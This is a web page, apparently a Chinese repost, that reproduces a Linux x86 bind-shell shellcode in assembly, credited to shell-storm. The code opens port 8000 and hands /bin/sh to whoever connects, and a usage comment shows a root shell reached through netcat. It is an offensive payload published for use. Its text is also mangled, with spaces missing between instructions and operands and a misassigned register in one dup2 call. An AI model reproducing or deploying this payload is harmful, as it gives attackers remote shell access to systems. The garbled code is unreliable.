| 关键词: nbsp pushbyte0x0 movebx mov 0x80 moveax movecx int esp pushedx |
; Title: Bind asm code Linux x86 - 179 bytes ; IP: 0.0.0.0 ; Port: 8000 ; ; ; Use: nc localhost 8000 ; id ; uid=0(root) gid=0(root) groupes=0(root) ; ; ; Author: Jonathan Salwan ; Mail: submit AT shell-storm.org ; Web: http://www.shell-storm.org ; ; ; More shellcodes in => http://www.shell-storm.org/shellcode/ ; section .data name db '/bin/sh', 0 section .text global _start _start: ;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;; pushbyte0x0 pushbyte0x1 pushbyte0x2 moveax, 0x66 movebx, 0x1 movecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;; mov edx, eax ;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;; pushbyte0x0 pushbyte0x0 pushbyte0x0 pushword0x401f pushword0x2 movebx, esp push byte0x10 pushebx pushedx moveax, 0x66 movebx, 0x2 movecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;; pushbyte0x1 pushedx moveax,0x66 movebx,0x4 movecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;; pushbyte0x0 pushbyte0x0 pushedx moveax, 0x66 movebx, 0x5 movecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;; movedx, eax ;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;; moveax, 0x3f movebx, edx mov ebx, 0x2 int0x80 mov eax, 0x3f mov ebx, edx mov ecx, 0x1 int 0x80 mov eax, 0x3f mov ebx, edx mov ecx, 0x0 int 0x80 ;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;Execve();;;;;;;;;;;;;;;;;;; moval, 0x0b movebx, name pushbyte0x0 pushname movecx, esp mov edx, 0x0 int 0x80 ;;;;;;;;;;;;;;;;;;;;Execve();;;;;;;;;;;;;;;;;;; |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|